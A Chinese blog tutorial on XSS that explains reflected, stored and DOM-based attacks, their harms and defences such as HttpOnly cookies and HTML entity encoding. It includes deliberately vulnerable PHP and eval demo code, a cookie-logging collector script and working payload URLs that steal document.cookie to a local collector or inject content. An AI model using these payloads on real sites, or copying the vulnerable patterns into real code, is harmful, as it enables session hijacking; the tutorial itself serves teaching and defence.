手机网站建设

网站中的XSS跨站脚本攻击

本文主要内容有两点:

1. xss常见的有三种攻击方式:反射型、存储型、DOM型。

2. xss攻击的危害性和防御措施

反射型

非持久型。发生请求时,xss代码作为参数提交到server,server解析并返回结果,response中包含了用户传入的参数(含有xss代码),浏览器解析此response并渲染到页面上,就中招啦。
例:
http://127.0.0.1:8080/index.php?visitor=balbala
若server读取get参数,将页面重定向到index-2.php,并将visitor参数的值直接显示在页面上。攻击者可以捣乱、流量劫持、可以偷取用户cookie发送到xss-home.php地址、可以在页面放广告,三个文件示例代码如下:

index.php<?php    session_start();    $_SESSION['xss']['visitor'] = $_GET['visitor'];    header("Location:http://127.0.0.1:8080/index-2.php");?><!DOCTYPE html><html><head>    <meta charset="utf-8">    <title>初始页</title></head><body>    初始页</body></html>
index-2.php<?phpsession_start();$visitor = $_SESSION['xss']['visitor'];function showVisitor() {    echo $_SESSION['xss']['visitor'];}?><!DOCTYPE html><html><head>    <title>show visitor</title></head><body>    用户是:    <?php        showVisitor();    ?></body></html>
xss-home.php<?php$h = fopen('./info.log', 'a');fwrite($h, json_encode($_GET));fclose($h);?>
  • 地址栏输入如下地址,则本地cookie被alert出来(将alert改成 window.open('xxxx.com')把用户导到另一个网站,就是流量劫持了):
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">alert(document.cookie);</script>
  • 地址栏输入如下地址则本地cookie被静默发送到攻击者目标网址http://127.0.0.1:8080/xss-home.php,用户本地的鉴权参数被攻击者获取到了。(本测试例子在firefox中测试可以获取到用户cookie,在chrome中被浏览器拦截了没有获取到,chrome的告警如下图。应该与浏览器的安全设置有关,没有细究)
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">var metaEl = document.createElement('script');metaEl.setAttribute('src','http://127.0.0.1:8080/xss-home.php?'+document.cookie);if(document.documentElement.firstElementChild){document.documentElement.firstElementChild.appendChild(metaEl);}else{var wrap = document.createElement('div');wrap.appendChild(metaEl);document.write(wrap.innerHTML);}</script>
  • 页面右上角放狗粮广告啦(这段可以直接把放图片的代码写成一个js文件,url后的js内容 改为插入一个script标签,地址为js文件的地址)
http://127.0.0.1:8080/index.php?visitor=<script type="text/javascript">var metaEl = document.createElement('img');metaEl.setAttribute('src','https://upload-images.jianshu.io/upload_images/12190143-c431f037468e0460.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240');metaEl.setAttribute('style','height:200px; width:100px; position:fixed; right:30px;top:30px;');var wrap = document.getElementsByTagName('body')[0];wrap.appendChild(metaEl);</script>

存储型(持久型)

如用户评论、用户反馈等,被后台存储到数据库,未经任何处理展示到前端页面。攻击脚本与反射型类似,可以偷取到其他用户的信息甚至后台管理员的信息。
(此处很多人说需要经过html实体编码再存入数据库,我认为存入过程只需考虑防注入,web展示时对用户来源的内容进行html实体编码再展示。这样可以兼容不同的信息来源,如app客户端也可以提交内容,app客户端的展示也需有其自己的防范处理)

Dom型

与以上两种类型都不同,不需要server端的参与,都在client端。利用页面js代码的漏洞。如js中使用了eval
例:以下测试代码呈现的html页面,若在输入框中输入dd");console.log(document.cookie);console.log(",就会打印页面的cookie。

<!DOCTYPE html><html><head>    <meta charset="utf-8"></head><body>    <input type="text" name="your_name">    <button>点点点</button></body><script type="text/javascript">    var btn = document.getElementsByTagName('button')[0];    var inputElem = document.getElementsByName('your_name')[0];    btn.addEventListener('click', function() {    var evalStr = 'alert("你的名字是:'+inputElem.value+'");';    window.eval(evalStr);    });</script></html>

xss的危害

  1. 盗取用户的cookie;
  2. 扰乱页面 、破坏页面样式等;
  3. 流量劫持;
    4. Dos攻击(分布式拒绝服务攻击):利用合理的客户端请求来占用过多的服务器资源,使合法用户无法得到服务器响应
    5. 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些东西(加关注、发私信、加收藏等);
    6. 利用可被攻击的域受其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行投票活动

防御措施

  1. cookie设置HttpOnly属性为true,即只有后台可以操作cookie,client不能操作也不能读取;
    2.过滤用户输入的数据,
  2. 对需要呈现到页面上的用户来源的内容进行html实体编码后再渲染

“ 转载请注明文章链接:https://www.hu-ling.cn/sjwzjs/330.html 如没特殊声明,文章为原创!”
 

–互零网络

评论留言